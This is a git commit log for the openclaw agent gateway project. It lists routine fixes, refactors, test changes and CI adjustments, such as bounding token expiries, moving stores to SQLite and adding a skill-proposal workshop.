- Guard malformed content blocks: the post-drop map no longer dereferences
  contentBlock.type unconditionally, so a corrupted transcript with a
  null/primitive block can still sanitize through a model switch.

Tests:
- sanitize-session-history: phase metadata is preserved while the paired id
  is dropped on a model switch.
- reasoning-replay: id-less phase-only signatures get distinct synthetic ids
  and retain their phase.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-05-30 21:45:08 +01:00
Ashd.LW.
eb170a0adb fix(agents): extend payload-less session lock grace
Payload-less session write-lock files now get a 30s grace for default/long acquire timeouts and cleanup sweeps, while short acquire timeouts keep 5s recovery. This avoids reclaiming a lock while the owner is suspended between exclusive create and metadata write.

Verified with:
- git diff --check origin/main...HEAD
- .agents/skills/autoreview/scripts/autoreview --mode branch --base origin/main --parallel-tests "node scripts/run-vitest.mjs src/agents/session-write-lock.test.ts"
- gh pr checks 80686 --repo openclaw/openclaw --watch=false

Thanks @wAngByg.
2026-05-30 21:42:57 +01:00
Han Kim
b7232db1b0 test(gateway): avoid brittle shutdown timer assertion
Co-authored-by: Han Kim <han.kim@Bowcaster.local>
Co-authored-by: Peter Steinberger <peter@steipete.me>
2026-05-30 21:39:49 +01:00
Peter Steinberger
a20b2dc740 refactor: extract web content core package (#88346)
Extract web-content shared runtime helpers into packages/web-content-core, move the focused tests with the new package, and split quiet CI shards so the node matrix no longer stalls past the no-output watchdog.\n\nVerification: node scripts/run-vitest.mjs test/scripts/ci-node-test-plan.test.ts test/scripts/run-vitest.test.ts src/infra/restart.test.ts src/infra/os-summary.test.ts src/infra/gateway-processes.test.ts src/infra/inline-option-token.test.ts src/infra/map-size.test.ts src/infra/machine-name.test.ts src/commands/doctor-whatsapp-responsiveness.test.ts; autoreview clean; manual CI https://github.com/openclaw/openclaw/actions/runs/26693962844; dependency guard https://github.com/openclaw/openclaw/actions/runs/26693959937. Admin merge used because optional Mantis Telegram Desktop proof was cancelled after blocking merge outside this PR's required proof.
2026-05-30 21:38:29 +01:00
Feelw00
c6b1fede5a fix(mcp): bound channel bridge pending approvals
Bound MCP channel bridge pending Claude permission and approval maps with TTL sweep and close cleanup.
Also sweep before listing pending approvals so expired requests are not exposed between periodic ticks.

Fixes #71646.
Thanks @Feelw00.
2026-05-30 21:36:50 +01:00
Zee Zheng
c80ec43325 feat(cli): add sessions tail progress view
Adds `openclaw sessions tail` as an operator-facing progress view over session trajectory events, with conservative redaction for prompt text, tool arguments, and tool result bodies. The command supports explicit session keys, store/agent scope, follow mode, relocated trajectory pointer files, and cursor-safe follow across bounded trajectory window rewrites.

Documents the new sessions tail CLI surface in `docs/cli/sessions.md`.

Fixes #83441.

Co-authored-by: zhengzuo0-ai <zheng.zuo0@gmail.com>
2026-05-30 21:29:39 +01:00
Peter Steinberger
b6891d284d docs(changelog): restore 2026.5.28 release credits 2026-05-30 21:29:16 +01:00
Peter Steinberger
ec78a21e0b docs(changelog): require complete release credits 2026-05-30 21:28:11 +01:00
Peter Steinberger
be3af54f98 perf: fast path session store json parsing 2026-05-30 21:22:14 +01:00
Peter Steinberger
3fc0df953c refactor(agents): bind subagent threads in core (#88416)
Move subagent thread binding ownership into core so session-mode spawns prepare channel bindings before launching the child agent. Deprecate the legacy subagent_spawning SDK hook in code, compatibility metadata, diagnostics, and plugin docs; plugin authors should observe subagent_spawned instead.

Verification:
- node scripts/run-vitest.mjs src/agents/sessions-spawn-hooks.test.ts src/agents/subagent-spawn.thread-binding.test.ts src/agents/subagent-spawn.workspace.test.ts src/agents/subagent-spawn.mode-session-diagnostics.test.ts
- node scripts/run-tsgo.mjs -p tsconfig.core.json --incremental --tsBuildInfoFile .artifacts/tsgo-cache/core.tsbuildinfo
- git diff --check
- .agents/skills/autoreview/scripts/autoreview --mode local
- CI run 26693808952 green, including checks-node-agentic-agents-core and checks-node-agentic-plugin-sdk
2026-05-30 21:19:09 +01:00
Nicolas
4ac90a5b48 fix: skip browser cleanup when browser is disabled
Skip browser lifecycle cleanup when root browser support or the browser plugin entry is disabled, and make the browser maintenance facade respect activation before cached surface use.

Also stabilize the resource-only MCP runtime test by waiting for the async rejection log that CI can observe late.

Verification:
- pnpm test src/plugin-sdk/browser-maintenance.test.ts src/browser-lifecycle-cleanup.test.ts src/auto-reply/reply/session.test.ts src/gateway/server.sessions.reset-cleanup.test.ts src/agents/auth-profiles/usage.test.ts
- pnpm test src/agents/agent-bundle-mcp-runtime.test.ts
- git diff --check
- pnpm build
- autoreview local: no accepted/actionable findings
- GitHub Actions: CI 26693713166, CodeQL 26693713159, CodeQL Critical Quality 26693713157, OpenGrep PR Diff 26693713125, Workflow Sanity 26693713149, Dependency Guard 26693712478

Co-authored-by: Nicolas Van Eenaeme <nicolas@poison.be>
2026-05-30 21:16:47 +01:00
Peter Steinberger
39e987314a perf: skip unnecessary setup auth fallback 2026-05-30 21:16:36 +01:00
Peter Steinberger
427df01d4e ci(release): checkout approval helper 2026-05-30 21:13:19 +01:00
Peter Steinberger
50b7a2ffa1 ci(release): allow direct publish recovery 2026-05-30 21:13:19 +01:00
Vincent Koc
b93ed3f93f test(scripts): expose kitchen sink command RSS 2026-05-30 22:10:25 +02:00
Peter Steinberger
a2b2c4a76c refactor(msteams): persist conversation and poll stores in sqlite
Move MSTeams conversation and poll plugin-local stores to plugin-state SQLite. Legacy JSON stores import once without overwriting existing SQLite state; conversation and poll IDs are hashed for plugin-state keys; poll votes are sharded with bounded row-cap headroom and prune cleanup; MSTeams docs now describe SQLite storage. SSO and delegated token stores are unchanged. Verified with focused MSTeams tests, docs sanity, autoreview, Testbox check:changed, and green PR CI.
2026-05-30 21:08:39 +01:00
Feelw00
a9a86f788b fix(agents): dedupe subagent browser session cleanup
Deduplicate the browser lifecycle cleanup wrapper for embedded subagent completions while preserving retire and announce finalization for duplicate callers.\n\nAdds regression coverage for parallel completion callers and the held-first-cleanup duplicate-tail path.\n\nFixes #68668.\n\nCo-authored-by: Feelw00 <dhrtn1006@naver.com>
2026-05-30 21:04:37 +01:00
keshavbotagent
371a8abe9d fix(build): avoid stale agent-core dts warnings (#87915)
* fix(build): avoid stale agent-core dts warnings

* test(secrets): secure plugin entrypoint fixtures

* fix(agent-core): normalize compaction summary timestamps

* test(secrets): secure platform preset fixture

* fix(build): preserve tracked package dts on skip builds

* test(secrets): secure platform preset resolver fixture

* fix(build): keep declarations during skip dts clean

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-05-30 21:03:49 +01:00
Peter Steinberger
005da57957 Move cron persistence to SQLite (#88285)
* refactor: move cron persistence to sqlite

* fix: repair sqlite cron migration regressions

* fix: move cron legacy migration to doctor

* test: align cron sqlite migration fixtures

* test: fix cron sqlite rebase gates

* test: align cron sqlite runtime tests

* test: fix doctor e2e migration mock

* test: fix doctor shard e2e isolation

* test: fix infra child-process mocks
2026-05-30 21:03:41 +01:00
brokemac79
d11e82aeea fix(ui): keep selected chat model visible after session switch
Fixes #86597. Thanks @brokemac79.
2026-05-30 20:53:47 +01:00
Coder
adcac404e1 fix(llm): repair invalid streaming unicode escapes
Repair invalid \u escapes during streaming JSON parsing without changing valid Unicode escapes. Split oversized node CI doctor/infra shards and fix the restart test mock deadlock so PR CI stays under the no-output threshold.\n\nCo-authored-by: Coder <83845889+coder999999999@users.noreply.github.com>
2026-05-30 20:53:26 +01:00
Vincent Koc
eb5e80f58a ci: update Blacksmith Testbox actions 2026-05-30 20:51:31 +01:00
Peter Steinberger
5891cfec3e refactor: move model catalog normalization into core package
Move model catalog normalization and package-owned catalog schema/types into model-catalog-core while keeping public plugin SDK model catalog declarations on the existing SDK surface. Verified focused tests, package-boundary compile, full build, changed gate, declaration leak grep, CI, and autoreview.
2026-05-30 20:51:11 +01:00
Abner Shang
961691def2 fix(codex): keep app-server continuation turns alive
Keep Codex app-server continuation turns alive after post-tool, raw assistant, and progress notifications, and reschedule continuation idle watches when shorter progress timeouts apply.

Add regression coverage for the plugin-sdk child_process mock helper deadlock that blocked CI shards on this PR.

Co-authored-by: abnershang <abner.shang@gmail.com>
2026-05-30 20:41:04 +01:00
Vincent Koc
2780f540f8 test(agents): wait for MCP method-not-found log 2026-05-30 20:39:52 +01:00
Vincent Koc
37058ad75a fix(scripts): quiet minimal runtime asset copies
Stop minimal cliStartup and gatewayWatch builds from copying generated plugin static assets they intentionally do not build.\n\nVerified with focused Vitest, autoreview, AWS Crabbox startup-memory proof, and AWS Crabbox changed gate run_bd9ea01e6a12 plus rebased changed gate run_bd9ea01e6a12.
2026-05-30 20:38:19 +01:00
Peter Steinberger
37c6e2dfa0 ci: skip codeql network shard for test-only changes 2026-05-30 20:29:19 +01:00
Shakker
473993f73a fix: remove redundant unknown union 2026-05-30 20:28:29 +01:00
Peter Steinberger
e24a9c5457 ci: keep harness changes on fast checks (#88429) 2026-05-30 20:27:59 +01:00
Shakker
d9c0d09f1a chore: remove inert skill workshop package 2026-05-30 20:15:31 +01:00
Peter Steinberger
0c7ab411e5 fix(auth): bound oauth mirror expiry 2026-05-30 15:11:14 -04:00
Alix-007
5811693c7f fix(export-html): guard msg.content and result.content filter/iteration paths against non-array values (#88271)
* fix(export-html): guard all msg.content and result.content filter/iteration paths

Three call sites in the export HTML template called `.filter()` or iterated
with `for...of` directly on `msg.content` or `result.content` without first
checking `Array.isArray`. When a transcript message row carries a non-array
content value (null, undefined, or any scalar), those paths throw:

  TypeError: msg.content.filter is not a function

Fix: normalize with `Array.isArray(x) ? x : []` before every unguarded
filter and iteration on `msg.content` (computeStats stats path and the
renderEntry assistant render loops) and `result.content` (renderToolCall
text/image accessors).

Regression test added: renderTemplate resolves without throwing for assistant
messages with null, undefined, string, and numeric content values.

Closes #88255

* fix(export-html): guard user message text extraction path against non-array content

The user-message render path in the export HTML template extracted text with
`content.filter(...)` without checking whether `content` is an array. A
persisted user message row with null, undefined, or any non-string scalar
content crashed during export with the same TypeError class as the assistant
path.

Fix: normalize the ternary so a non-string, non-array value falls through to
an empty string rather than calling `.filter` on it.

Regression test added for null, undefined, and numeric user message content.

Addresses feedback from ClawSweeper review on #88271.

* fix(export-html): preserve string content guards

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-05-30 20:10:43 +01:00
Peter Steinberger
445ff22018 fix(agents): bound auth health expiry 2026-05-30 15:09:37 -04:00
Peter Steinberger
602364f1c7 ci: stabilize changed checks 2026-05-30 20:07:38 +01:00
Peter Steinberger
c73e8eedf4 fix(agents): bound discovery auth expiry 2026-05-30 15:07:04 -04:00
Shakker
dcc329ac09 chore: keep skill workshop package manifest inert 2026-05-30 20:04:52 +01:00
Shakker
515d4ffc21 fix: refresh skill workshop CI expectations 2026-05-30 20:04:52 +01:00
Shakker
28290a496f fix: allow concise skill update descriptions 2026-05-30 20:04:52 +01:00
Shakker
3cd368edec fix: approve final skill workshop tool params 2026-05-30 20:04:52 +01:00
Shakker
908fc35b97 fix: preserve trusted policy checks for skill workshop 2026-05-30 20:04:52 +01:00
Shakker
d6d1cc2a3e fix: serialize skill proposal creation limits 2026-05-30 20:04:52 +01:00
Shakker
41044a207c fix: serialize skill proposal lifecycle mutations 2026-05-30 20:04:52 +01:00
Shakker
7d19f89094 fix: harden skill workshop proposal results 2026-05-30 20:04:52 +01:00
Shakker
43e4b9dc1c fix: keep autonomous skill capture opt-in 2026-05-30 20:04:52 +01:00
Shakker
77c6bee421 fix: refresh skill workshop generated surfaces 2026-05-30 20:04:52 +01:00
Shakker
0b49710e8d fix: preserve auto-captured skill updates 2026-05-30 20:04:52 +01:00
Shakker
3a9e7dfa1a fix: bound skill workshop descriptions 2026-05-30 20:04:52 +01:00
Shakker
e4905ce4c9 fix: enforce skill workshop proposal bounds 2026-05-30 20:04:52 +01:00
Shakker
131e662924 fix: scan skill proposal prompt content 2026-05-30 20:04:52 +01:00
Shakker
7051bf16f0 fix: align skill proposal revise validation 2026-05-30 20:04:52 +01:00
Shakker
6eb6730137 refactor: move skill research capture logic 2026-05-30 20:04:52 +01:00
Shakker
2383cfd303 refactor: rename skill workshop agent tool 2026-05-30 20:04:52 +01:00
Shakker
c09e1efe99 fix: clean up skill workshop lint issues 2026-05-30 20:04:52 +01:00
Shakker
308fdbe7fb refactor: remove skill workshop plugin package 2026-05-30 20:04:52 +01:00
Shakker
c5af09e378 refactor: route agent end side effects through harness 2026-05-30 20:04:52 +01:00
Shakker
3037646d22 feat: add skill workshop runtime policy 2026-05-30 20:04:52 +01:00
Shakker
3ea82adf97 fix: show skill proposal support files on inspect 2026-05-30 20:04:52 +01:00
Shakker
bc6d570659 fix: reject non-text skill proposal files 2026-05-30 20:04:52 +01:00
Shakker
f7729028ae fix: guard skill proposal apply writes 2026-05-30 20:04:52 +01:00
Shakker
11d6ce15e8 fix: harden skill proposal boundaries 2026-05-30 20:04:52 +01:00
Shakker
897a7efe15 fix: preserve skill proposal target state 2026-05-30 20:04:52 +01:00
Shakker
fafa4c8b65 fix: scope skill workshop proposal access 2026-05-30 20:04:52 +01:00
Shakker
186182fe9e feat: let skill research manage proposal lifecycle 2026-05-30 20:04:52 +01:00
Shakker
e5455b61c3 feat: let skill research manage proposal discovery 2026-05-30 20:04:52 +01:00
Shakker
e89417d77b fix: keep skill research available to agents 2026-05-30 20:04:52 +01:00
Shakker
e9b0a5f69e feat: revise pending skill proposals 2026-05-30 20:04:52 +01:00
Shakker
339e212c85 fix: expose skill proposal gateway methods 2026-05-30 20:04:52 +01:00
Shakker
199cdc1052 fix: enforce canonical workshop skill names 2026-05-30 20:04:52 +01:00
Shakker
ab0613c9d3 feat: support skill proposal files 2026-05-30 20:04:52 +01:00
Shakker
91ba5fd4fe fix: store skill workshop proposals in state 2026-05-30 20:04:52 +01:00
Shakker
9da7498d31 fix: satisfy skill workshop lint 2026-05-30 20:04:52 +01:00
Shakker
67298c4bd8 fix: satisfy skill workshop changed checks 2026-05-30 20:04:52 +01:00
Shakker
9417a3f39f fix: rebuild corrupt skill proposal manifests 2026-05-30 20:04:52 +01:00
Shakker
1609fcaff3 docs: document skill workshop proposals 2026-05-30 20:04:52 +01:00
Shakker
5205b94d84 feat: expose skill workshop gateway methods 2026-05-30 20:04:52 +01:00
Shakker
7f48ee1e57 feat: add skill research proposal tool 2026-05-30 20:04:52 +01:00
Shakker
c4be8d8730 feat: add skill workshop cli commands 2026-05-30 20:04:52 +01:00
Shakker
bc1c3701c4 feat: add skill workshop proposal store 2026-05-30 20:04:52 +01:00
Peter Steinberger
4e8b74568f refactor: move model catalog refs into core package
Move model catalog ref helpers into @openclaw/model-catalog-core/model-catalog-refs and update internal callers/package-boundary aliases. Also fix the timestamp predicate typing that blocked prod type checks on current main.
2026-05-30 20:04:16 +01:00
Peter Steinberger
b80dcbd650 fix(plugin-sdk): bound copilot token expiry 2026-05-30 15:04:03 -04:00
Peter Steinberger
417aba7b9b fix(infra): bound session delivery recovery deadline 2026-05-30 15:02:02 -04:00
Peter Steinberger
ed63523db9 test(release): expect public latest in installer smoke 2026-05-30 20:01:22 +01:00
Peter Steinberger
677f7c80dc fix(plugin-sdk): bound oauth result expiry 2026-05-30 14:59:59 -04:00
Vincent Koc
231d0b28bd fix(agents): harden message dts and block timestamps 2026-05-30 20:58:21 +02:00
Peter Steinberger
979907e004 fix(outbound): bound delivery recovery deadline 2026-05-30 14:57:47 -04:00
Peter Steinberger
9eb17a0277 fix(shared): bound epoch expiry helpers 2026-05-30 14:55:37 -04:00
Peter Steinberger
06e0fd3347 fix(media): bound provider operation deadlines 2026-05-30 14:54:03 -04:00
Peter Steinberger
51cceaf70c fix(agents): bound run drain deadlines 2026-05-30 14:51:59 -04:00
Peter Steinberger
471164afbd fix(github-copilot): bound device code expiry 2026-05-30 14:49:34 -04:00
Peter Steinberger
99ce71ddbb feat: improve MCP operability
Summary:
- Add MCP status, probe, and projected-tools CLI surfaces.
- Add per-server MCP tool filters plus resource/prompt utility projection.
- Harden MCP runtime discovery, listChanged invalidation, request-failure backoff, and metadata sanitization.
- Preserve current main type health by narrowing the shared future timestamp guard.

Verification:
- pnpm test src/shared/number-coercion.test.ts src/agents/auth-profiles/usage.test.ts src/cli/mcp-cli.test.ts src/agents/agent-bundle-mcp-runtime.test.ts src/agents/agent-bundle-mcp-tools.materialize.test.ts -- --reporter=verbose
- pnpm lint
- pnpm tsgo:prod
- pnpm build
- git diff --check origin/main...HEAD
- GitHub Actions: dependency-guard, real behavior proof, security high MCP boundary, build/lint/types/guards/docs, gateway/plugin/agent shards green on PR head.

Known proof gap:
- Existing checks-node-agentic-commands-doctor no-output watchdog reproduced locally outside touched paths.
2026-05-30 19:48:52 +01:00
Peter Steinberger
9cb9851bf8 fix(models): bound pasted token expiry 2026-05-30 14:47:41 -04:00
Peter Steinberger
2b31c02163 fix(plugins): bound scheduled turn delays 2026-05-30 14:44:24 -04:00
Coder
878e433d81 fix(skill-creator): sort .skill entries deterministically
Fixes #37748.

Sort skill package archive entries by relative POSIX archive name so generated `.skill` bundles are reproducible regardless of filesystem traversal order.

Verification:
- `PYTHONDONTWRITEBYTECODE=1 python3 skills/skill-creator/scripts/test_package_skill.py`
- `git diff --check origin/main...HEAD`
- GitHub CI run 26690938925 on `43a0fdf7175f33a5c74bc7ff92723ebf5efc4df9`: all checks passed except repeated unrelated no-output timeouts in `checks-node-agentic-commands-doctor` and `checks-node-core-runtime-infra-state` after visible tests passed.
2026-05-30 19:42:55 +01:00
Peter Steinberger
dfbed5053a fix(qqbot): bound reminder schedule time 2026-05-30 14:41:39 -04:00
Peter Steinberger
caac9733a7 fix(memory): bound qmd embed backoff 2026-05-30 14:39:33 -04:00
Peter Steinberger
6399b6a445 fix(discord): bound timeout member expiry 2026-05-30 14:34:40 -04:00
Peter Steinberger
472606de9b fix(qqbot): skip token cache on invalid clock 2026-05-30 14:33:04 -04:00
Peter Steinberger
177496552b fix(infra): bound device bootstrap expiry 2026-05-30 14:31:30 -04:00
Peter Steinberger
e0248fc11f fix(cron): bound relative at timestamps 2026-05-30 14:29:39 -04:00
Peter Steinberger
6a753ade78 fix(crestodian): bound rescue approval expiry 2026-05-30 14:28:25 -04:00
Peter Steinberger
53812bd8aa fix(agents): bound codex cli fallback expiry 2026-05-30 14:26:17 -04:00
Lellansin Huang
fe3c3ac5cd fix(gateway): forward stop sequences across providers
Forward OpenAI-compatible stop sequences from gateway chat completions through the agent runner into provider transports.

The gateway now normalizes stop into sampling extras, agent transports pass it into the shared stream options, and OpenAI, Anthropic, Mistral, Google, and Vertex-backed simple providers map it to their native request fields. Provider/gateway/agent coverage plus Crabbox live gateway proof verify valid stop dispatch and invalid stop rejection.

Refs #87920
2026-05-30 19:24:21 +01:00
Peter Steinberger
5435b453ca feat: expand workboard orchestration metadata (#88408) 2026-05-30 19:22:19 +01:00
Peter Steinberger
abc26b072b fix(discord): bound rest rate-limit deadlines 2026-05-30 14:22:16 -04:00
Jiatai Wang
64533bab65 fix(agents): show exec target node in tool display
Show the remote node name in exec tool transparency details when an exec call targets `host=node`, while ignoring stray `node` values for gateway, sandbox, and auto-host calls.

Covers node-only, cwd+node, absent-node, and non-node-host regression cases in the tool display tests.

Fixes #77719.

Co-authored-by: JiataiWang <wangjiatai@proton.me>
2026-05-30 19:19:17 +01:00
Peter Steinberger
7d4bf8f285 fix(telegram): bound transport cooldown expiry 2026-05-30 14:16:57 -04:00
Peter Steinberger
bdb0fde0ea test(release): harden live release checks 2026-05-30 19:14:27 +01:00
Peter Steinberger
926a165a52 fix(anthropic): bound setup token expiry 2026-05-30 14:14:13 -04:00
Peter Steinberger
70b6fdd149 fix(bedrock): bound mantle runtime token expiry 2026-05-30 14:09:59 -04:00
Peter Steinberger
9ad7f5bbde fix(agents): bound sqlite cache expiry 2026-05-30 14:07:32 -04:00
Peter Steinberger
1ee751ddb1 fix(agents): bound google prompt cache expiry 2026-05-30 14:02:50 -04:00
Peter Steinberger
30e3ca08a5 fix(agents): bound auth profile block expiry 2026-05-30 14:00:46 -04:00
Peter Steinberger
1f6c1eacf0 fix(telegram): bound error cooldown expiry 2026-05-30 13:59:06 -04:00
Peter Steinberger
8654353be8 fix(discord): bound component registry expiry 2026-05-30 13:57:13 -04:00
Peter Steinberger
c5aa3ff02f fix(msteams): bound delegated token probe expiry 2026-05-30 13:54:56 -04:00
Peter Steinberger
5fde637ba8 fix(codex): bound app inventory cache expiry 2026-05-30 13:53:13 -04:00
guanbear
044f5a814e Expose subagent resolved model metadata (#80037)
Co-authored-by: guanbear <guanbear@macmini.bearhome>
2026-05-30 18:52:21 +01:00
Peter Steinberger
3ae521745e fix(voice-call): bound webhook replay cache expiry 2026-05-30 13:51:12 -04:00
Peter Steinberger
f89f5d930f fix(gateway): bound system run event expiry 2026-05-30 13:49:03 -04:00
Vincent Koc
13c77f00c3 fix(agents): classify code mode deadline interrupts 2026-05-30 18:47:42 +01:00
chuanchuan
3b8ab4e112 fix(feishu): stream plain replies as cards
Feishu `channels.feishu.streaming=true` now streams ordinary assistant replies through CardKit in auto mode, while keeping tool-summary delivery on the existing message path.

Also discards stale partial previews when final delivery intentionally suppresses text for voice media or duplicate final text, and preserves streamed partial text for regular media-only finals.

Verification:
- `node scripts/run-vitest.mjs run extensions/feishu/src/reply-dispatcher.test.ts`
- `pnpm tsgo:extensions`
- `pnpm test:extensions:package-boundary:compile`
- `pnpm exec oxfmt --check extensions/feishu/src/reply-dispatcher.ts extensions/feishu/src/reply-dispatcher.test.ts extensions/feishu/src/streaming-card.ts`
- `git diff --check`
- `.agents/skills/autoreview/scripts/autoreview --mode branch --base origin/main`
- GitHub PR checks on run 26689677607 passed except repeated unrelated broad Vitest no-output timeouts in `checks-node-agentic-commands-doctor` and `checks-node-core-runtime-infra-state`.

Co-authored-by: 传妈 <chuanmother@chuanMac-Mini.local>
2026-05-30 18:47:03 +01:00
Peter Steinberger
ca4a12381a fix(gateway): bound chat abort expiry registration 2026-05-30 13:46:16 -04:00
Steven
86e33d6985 fix(models): preserve exact provider refs before aliases
Fixes #88218.

Preserves exact configured provider/model defaults before bare alias target reverse matches, while retaining slash-form aliases and auth-profile alias behavior.

Co-authored-by: Steven Palmer <palmer.e.steven@gmail.com>
2026-05-30 18:46:11 +01:00
Peter Steinberger
9ef699fedc fix(gateway): bound maintenance run expiry checks 2026-05-30 13:43:21 -04:00
Peter Steinberger
912a276ca1 fix(gateway): bound talk handoff expiry 2026-05-30 13:41:14 -04:00
Brian
6f20f29688 fix(discord): carry reply typing feedback through queue
Carry Discord reply typing feedback through preflight, queued dispatch, and cleanup so delayed accepted replies keep typing alive at the actual dispatch target without duplicate keepalives. Adds focused Discord queue/process policy coverage and stronger lifecycle invariant comments.
2026-05-30 18:39:39 +01:00
Merlin
b6d253eefb fix(discord): omit undefined component registry fields
Prunes undefined Discord component and modal registry metadata before persisting it so SQLite-backed plugin state never receives JSON-incompatible undefined values. Adds direct regression coverage for undefined own properties on component, modal, and nested field entries.
2026-05-30 18:39:26 +01:00
Peter Steinberger
0a87f6e4ad fix(gateway): bound node pending work expiry 2026-05-30 13:38:54 -04:00
Ashd.LW.
bc77f7a00a fix(gateway): explain ignored restart signal
Add actionable operator guidance when an unauthorized SIGUSR1 gateway restart is ignored because unmanaged restart is disabled.

The change is log-only: restart authorization and scheduling semantics are unchanged, and the existing run-loop test now asserts both the reason warning and the recovery hint.

Refs #79577
Refs #78110
Refs #82433

Co-authored-by: wAngByg <281221101+wAngByg@users.noreply.github.com>
2026-05-30 18:38:35 +01:00
ToToKr
9e3d5310cc fix(media): dedupe duplicate inbound media path urls
Dedupe prompt-side inbound media note suffixes when sanitized MediaPath and MediaUrl render to the same value, while preserving genuinely distinct remote URLs.\n\nFixes #47587.\nThanks @MoerAI for the patch and @yzjJosh for the report.
2026-05-30 18:37:42 +01:00
Peter Steinberger
4d9366fecb fix(gateway): bound plugin node capability expiry 2026-05-30 13:35:43 -04:00
Sebastien Tardif
1c9851e115 fix(install): show npm install progress without gum
Show the same Installing OpenClaw package progress line in the no-gum npm install fallback before redirecting npm output to the temp log.

Fixes #82305

Co-authored-by: Sebastien Tardif <sebtardif@ncf.ca>
2026-05-30 18:35:32 +01:00
Peter Steinberger
a4f62400a7 fix(commitments): bound terminal failure cooldown expiry 2026-05-30 13:33:06 -04:00
吴杨帆
8d3fe21b53 test(tasks): cover task domain view mappers (#86755)
Adds focused coverage for task-domain view mapper DTO contracts, including summary cloning, task run/detail mapping, flow view/detail mapping, and implicit summary computation.

Test-only PR. Verified with git diff --check and PNPM_CONFIG_VERIFY_DEPS_BEFORE_RUN=false pnpm test src/tasks/task-domain-views.test.ts on the current-main merge result.

Thanks @leno23.

Co-authored-by: wuyangfan <yangfan.wu@succaiss.com>
2026-05-30 18:30:36 +01:00
Peter Steinberger
becd45325b fix(imessage): bound private api negative cache expiry 2026-05-30 13:28:17 -04:00
Peter Steinberger
84a965a1a2 refactor(matrix): move ephemeral state to plugin sqlite (#88387)
* refactor(matrix): persist ephemeral state in plugin sqlite

* test(channels): wire matrix contract plugin state
2026-05-30 18:26:29 +01:00
Peter Steinberger
f4d461bbff fix(imessage): bound approval reaction poll expiry 2026-05-30 13:25:45 -04:00
Peter Steinberger
cbad1b6e69 fix(agents): bound exec followup handoff expiry 2026-05-30 13:23:03 -04:00
Peter Steinberger
f4cd5e4050 fix(sandbox): bound novnc observer token expiry 2026-05-30 13:21:26 -04:00
Peter Steinberger
0e7773d1a6 test(release): wait for live probe cleanup 2026-05-30 18:21:01 +01:00
Peter Steinberger
d8e7734d27 fix(agents): bound exec approval request expiry 2026-05-30 13:19:42 -04:00
Peter Steinberger
da7fb64aa4 fix(google): bound realtime browser session expiry 2026-05-30 13:16:22 -04:00
Peter Steinberger
3fffb34ba0 fix(msteams): bound delegated token expiry 2026-05-30 13:13:56 -04:00
Peter Steinberger
0dd67e2f25 fix(workboard): bound claim expiry checks 2026-05-30 13:11:14 -04:00
Peter Steinberger
4df27b9626 fix(browser): bound armed dialog expiry 2026-05-30 13:08:52 -04:00
Peter Steinberger
e708a872a1 fix(commands): bound private approval route expiry 2026-05-30 13:06:29 -04:00
zhang-guiping
2dacc6da28 fix(agents): hide sessions_send alias normalization
Co-authored-by: 张贵萍0668001030 <zhang.guiping@xydigit.com>
2026-05-30 18:06:22 +01:00
Peter Steinberger
9660e42fe2 fix(plugin-state): bound ttl expiry writes 2026-05-30 13:03:24 -04:00
Peter Steinberger
522da25932 fix(skills): bound upload expiry checks 2026-05-30 13:00:52 -04:00
Peter Steinberger
d44621b544 fix(exec): bound approval pending expiry 2026-05-30 12:58:59 -04:00
Peter Steinberger
6fe0539992 test(release): skip unavailable anthropic live models 2026-05-30 17:58:01 +01:00
Peter Steinberger
283238fd77 fix(matrix): bound allowlist store cache expiry 2026-05-30 12:56:54 -04:00
Peter Steinberger
5568ecc7aa fix(discord): bound unbound webhook echo expiry 2026-05-30 12:54:25 -04:00
Peter Steinberger
743d5378d2 fix(zalouser): bound group context cache expiry 2026-05-30 12:52:24 -04:00
史启明(QimingShi)
63a3676d3c fix(tui): distinguish /new and /reset descriptions
Fixes #49517.

Updates the TUI command catalog so /new describes spawning an isolated session while /reset describes resetting the current session. Adds a focused regression test for the two descriptions.

Co-authored-by: KhanCold <119404710+KhanCold@users.noreply.github.com>
2026-05-30 17:50:14 +01:00
Peter Steinberger
2a39c217c8 fix(voice-call): bound realtime stream token expiry 2026-05-30 12:49:36 -04:00
NianJiu
a2fc4ca7ad feat(ui): add collapsible recent sessions section
Adds a persisted collapse state for the Control UI Recent sessions sidebar group, including storage and browser coverage.

Also narrows gateway run miss cache expiry typing so the rebased branch stays clean against current main.

Closes #85510

Co-authored-by: NianJiuZst <3235467914@qq.com>
2026-05-30 17:48:29 +01:00
Peter Steinberger
8eeaa45729 refactor: route model catalog imports to core package
Route internal model catalog imports to the extracted @openclaw/model-catalog-core package and delete obsolete internal facades.

Keep public SDK declarations self-contained by wrapping core helpers at public boundaries instead of leaking private package imports.

Verification:
- pnpm test src/plugins/contracts/model-catalog-core-imports.test.ts src/plugins/sdk-alias.test.ts packages/model-catalog-core/src/configured-model-refs.test.ts packages/model-catalog-core/src/provider-model-id-normalize.test.ts packages/model-catalog-core/src/provider-model-id-normalization.test.ts src/config/config.model-ref-validation.test.ts src/agents/model-selection.test.ts src/plugin-sdk/provider-model-shared.test.ts -- --reporter=verbose
- pnpm check:test-types
- pnpm test:extensions:package-boundary:compile
- pnpm build
- rg "@openclaw/model-catalog-core" dist/plugin-sdk packages/plugin-sdk/dist -n --glob '*.d.ts' || true
- git diff --check
- autoreview clean after fix

CI note: merged with admin override because checks-node-agentic-commands-doctor and checks-node-core-runtime-infra-state failed twice with exit 143/no-output watchdog termination after prior passing test output, while relevant local proof and the rest of CI were green.
2026-05-30 17:48:18 +01:00
Vincent Koc
4d13055ca5 fix(sessions): repair prompt blobs on fast updates 2026-05-30 17:47:07 +01:00
Peter Steinberger
bfceffa2f7 fix(qqbot): bound upload cache expiry 2026-05-30 12:46:56 -04:00
Peter Steinberger
031583e8f5 fix(gateway): bound exec approval expiry 2026-05-30 12:44:39 -04:00
Vincent Koc
2ccbc673df fix(scripts): prebuild gateway cpu private qa artifacts 2026-05-30 18:42:17 +02:00
Peter Steinberger
11b5728faa fix(agents): bound code mode snapshot expiry 2026-05-30 12:42:07 -04:00
samzong
4decdf6245 [Fix] Deliver restart recovery replies (#86089)
* fix(agents): deliver restart recovery replies

* fix(auto-reply): import session entry updater

* test(auto-reply): use current embedded agent mock

* test(feishu): refresh typed account fixture

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-05-30 17:39:43 +01:00
Peter Steinberger
ac0fb976c8 fix(feishu): bound card action token expiry 2026-05-30 12:37:24 -04:00
